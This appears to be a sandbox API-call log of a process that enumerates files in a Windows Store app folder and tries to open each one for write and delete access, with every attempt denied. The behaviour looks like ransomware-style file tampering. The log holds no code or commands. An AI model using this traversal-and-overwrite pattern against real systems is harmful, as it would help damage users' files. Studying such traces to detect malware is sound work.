	[0082.079] FindNextFileW (in: hFindFile=0x46a6cd0, lpFindFileData=0x47107f8 | out: lpFindFileData=0x47107f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x479f98f8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x479f98f8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x479f98f8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8630, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.079] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.079] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.079] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x46a5020
	[0082.079] wcscpy (in: _Dest=0x46a5020, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe"
	[0082.079] wcscat (in: _Dest=0x46a5020, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\"
	[0082.079] wcscat (in: _Dest=0x46a5020, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.893] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.893] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.893] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.893] GetLastError () returned 0x5
	[0090.893] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.893] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a5020) returned 1
	[0090.893] FindNextFileW (in: hFindFile=0x46a6cd0, lpFindFileData=0x47107f8 | out: lpFindFileData=0x47107f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x479ad420, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x479f98f8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x479f98f8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x23b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.893] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.893] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.893] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e12e18
	[0090.893] wcscpy (in: _Dest=0x2e12e18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe"
	[0090.893] wcscat (in: _Dest=0x2e12e18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\"
	[0090.893] wcscat (in: _Dest=0x2e12e18, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.893] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0090.894] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.894] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.894] GetLastError () returned 0x5
	[0090.894] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12e18) returned 1
	[0090.894] FindNextFileW (in: hFindFile=0x46a6cd0, lpFindFileData=0x47107f8 | out: lpFindFileData=0x47107f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47a4c028, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb143a0a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47a4c028, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.894] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.894] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.894] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4718350
	[0090.894] wcscpy (in: _Dest=0x4718350, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe"
	[0090.894] wcscat (in: _Dest=0x4718350, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\"
	[0090.894] wcscat (in: _Dest=0x4718350, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.894] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e12e18
	[0090.894] wcscpy (in: _Dest=0x2e12e18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.894] wcscat (in: _Dest=0x2e12e18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.894] wcscat (in: _Dest=0x2e12e18, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0090.894] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502aed0
	[0090.894] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47a4c028, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb143a0a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47a4c028, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a9a8
	[0090.895] wcscmp (_String1=".", _String2=".") returned 0
	[0090.895] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47a4c028, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb143a0a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47a4c028, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.895] wcscmp (_String1="..", _String2=".") returned 1
	[0090.895] wcscmp (_String1="..", _String2="..") returned 0
	[0090.895] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a4c028, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47a7225c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47a7225c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2f55, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0090.895] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0090.895] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0090.895] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491ce80
	[0090.895] wcscpy (in: _Dest=0x491ce80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.895] wcscat (in: _Dest=0x491ce80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.895] wcscat (in: _Dest=0x491ce80, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0090.895] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0090.897] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.897] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.897] GetLastError () returned 0x5
	[0090.897] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.897] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491ce80) returned 1
	[0090.897] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a4c028, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47a7225c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47a7225c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2f55, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0090.897] FindClose (in: hFindFile=0x477a9a8 | out: hFindFile=0x477a9a8) returned 1
	[0090.897] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502aed0) returned 1
	[0090.897] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12e18) returned 1
	[0090.898] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718350) returned 1
	[0090.898] FindNextFileW (in: hFindFile=0x46a6cd0, lpFindFileData=0x47107f8 | out: lpFindFileData=0x47107f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x479f98f8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47a4c028, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47a4c028, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.898] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.898] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.898] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e12e18
	[0090.898] wcscpy (in: _Dest=0x2e12e18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe"
	[0090.898] wcscat (in: _Dest=0x2e12e18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\"
	[0090.898] wcscat (in: _Dest=0x2e12e18, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.898] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.898] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.898] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.898] GetLastError () returned 0x5
	[0090.898] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.898] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12e18) returned 1
	[0090.898] FindNextFileW (in: hFindFile=0x46a6cd0, lpFindFileData=0x47107f8 | out: lpFindFileData=0x47107f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47a7225c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1502df3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x48164a4b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.898] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.898] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.898] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x49252c0
	[0090.898] wcscpy (in: _Dest=0x49252c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe"
	[0090.898] wcscat (in: _Dest=0x49252c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\"
	[0090.898] wcscat (in: _Dest=0x49252c0, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.899] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4925388
	[0090.899] wcscpy (in: _Dest=0x4925388, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.899] wcscat (in: _Dest=0x4925388, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.899] wcscat (in: _Dest=0x4925388, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\*"
	[0090.899] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502c6e0
	[0090.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47a7225c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1502df3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x48164a4b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a9a8
	[0090.901] wcscmp (_String1=".", _String2=".") returned 0
	[0090.901] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47a7225c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1502df3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x48164a4b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.904] wcscmp (_String1="..", _String2=".") returned 1
	[0090.904] wcscmp (_String1="..", _String2="..") returned 0
	[0090.904] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a7225c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47a984bf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47a984bf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1984, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmMDL2.ttf", cAlternateFileName="")) returned 1
	[0090.904] wcscmp (_String1="AlarmMDL2.ttf", _String2=".") returned 1
	[0090.904] wcscmp (_String1="AlarmMDL2.ttf", _String2="..") returned 1
	[0090.904] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477df50
	[0090.904] wcscpy (in: _Dest=0x477df50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.904] wcscat (in: _Dest=0x477df50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.904] wcscat (in: _Dest=0x477df50, _Source="AlarmMDL2.ttf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmMDL2.ttf") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmMDL2.ttf"
	[0090.904] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmmdl2.ttf")) returned 0x20
	[0090.905] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmMDL2.ttf", dwFileAttributes=0x20) returned 0
	[0090.905] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\assets\\alarmmdl2.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.906] GetLastError () returned 0x5
	[0090.906] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\Assets\\AlarmMDL2.ttf", dwFileAttributes=0x20) returned 0
	[0090.906] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477df50) returned 1
	[0090.906] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a984bf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47a984bf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47a984bf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsAppList.contrast-black_scale-200.png", cAlternateFileName="")) returned 1
	[0090.906] wcscmp (_String1="AlarmsAppList.contrast-black_scale-200.png", _String2=".") returned 1
	[0090.906] wcscmp (_String1="AlarmsAppList.contrast-black_scale-200.png", _String2="..") returned 1
